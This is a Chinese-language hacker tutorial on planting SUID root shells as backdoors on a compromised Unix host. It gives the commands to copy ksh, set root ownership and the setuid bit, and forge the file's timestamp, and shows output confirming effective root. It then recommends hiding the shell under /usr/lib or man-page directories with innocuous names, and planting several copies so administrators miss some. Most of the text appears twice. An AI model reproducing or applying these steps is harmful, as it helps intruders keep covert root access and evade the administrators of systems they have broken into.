在 /tmp 或者其他的目录下放置 suid shell。以后只要你运行这个,就会轻易得到根用户权限。
#cp /bin/ksh /tmp/.sh
#chown root:root /tmp/.sh
#chmod +s /tmp/.sh
当你运行/tmp/.sh时,
这里我们用ksh shell是因为ksh 可以suid.换成其他的shell也许可能不行,具体看各个主机的情况而定.一般我们使用ksh.我们使用的溢出用来获得root权限的,也一般是溢出后执行/bin/ksh.
$id
uid=1002(oracle) gid=1(other)
$/tmp/.sh
#
#id
uid=1002(oracle) gid=1(other) euid=0(root) egid=0(root)
我们又是root了.
当然,为了更加隐蔽,我们不能把suid shell 放在/tmp
因为它是很容易被发现的.
我们应该放在深层的目录里面.
比如:
/usr/X11/include/X11/
或者
/usr/lib/
等等
通常我做的是:
# mkdir /usr/lib/lib/ mkdir /usr/lib/lib/...
# cp /bin/ksh /usr/lib/lib/.../lib
# chown root:sys /usr/lib/lib/.../lib
# chmod 4555 /usr/lib/lib/.../lib
# touch -r /bin/ksh /usr/lib/lib/.../lib
一个简单的suid shell安放好了.
不过,大家不要学我,我们要放在最隐蔽的地方.我新建目录的隐藏效果不是最好的.
我们必须利用现有的目录来安放,并且这个目录要有很多其它的文件做掩护.
大家不防试试/usr/man/下的目录.
很少管理员会检查这里的.
比如:
/usr/man/man1/
/usr/man/manl/
等.
比如:
# cp /bin/ksh /usr/man/man1/ja.1
:)当然具体要看你自己琢磨一下了.我敢说不难,最好多放置几个suid shell 在不同的目录.这样即使管理员发现了一个,也还有另外一个.:)
#cp /bin/ksh /tmp/.sh
#chown root:root /tmp/.sh
#chmod +s /tmp/.sh
当你运行/tmp/.sh时,
这里我们用ksh shell是因为ksh 可以suid.换成其他的shell也许可能不行,具体看各个主机的情况而定.一般我们使用ksh.我们使用的溢出用来获得root权限的,也一般是溢出后执行/bin/ksh.
$id
uid=1002(oracle) gid=1(other)
$/tmp/.sh
#
#id
uid=1002(oracle) gid=1(other) euid=0(root) egid=0(root)
我们又是root了.
当然,为了更加隐蔽,我们不能把suid shell 放在/tmp
因为它是很容易被发现的.
我们应该放在深层的目录里面.
比如:
/usr/X11/include/X11/
或者
/usr/lib/
等等
通常我做的是:
# mkdir /usr/lib/lib/ mkdir /usr/lib/lib/...
# cp /bin/ksh /usr/lib/lib/.../lib
# chown root:sys /usr/lib/lib/.../lib
# chmod 4555 /usr/lib/lib/.../lib
# touch -r /bin/ksh /usr/lib/lib/.../lib
一个简单的suid shell安放好了.
不过,大家不要学我,我们要放在最隐蔽的地方.我新建目录的隐藏效果不是最好的.
我们必须利用现有的目录来安放,并且这个目录要有很多其它的文件做掩护.
大家不防试试/usr/man/下的目录.
很少管理员会检查这里的.
比如:
/usr/man/man1/
/usr/man/manl/
等.
比如:
# cp /bin/ksh /usr/man/man1/ja.1
:)当然具体要看你自己琢磨一下了.我敢说不难,最好多放置几个suid shell 在不同的目录.这样即使管理员发现了一个,也还有另外一个.:)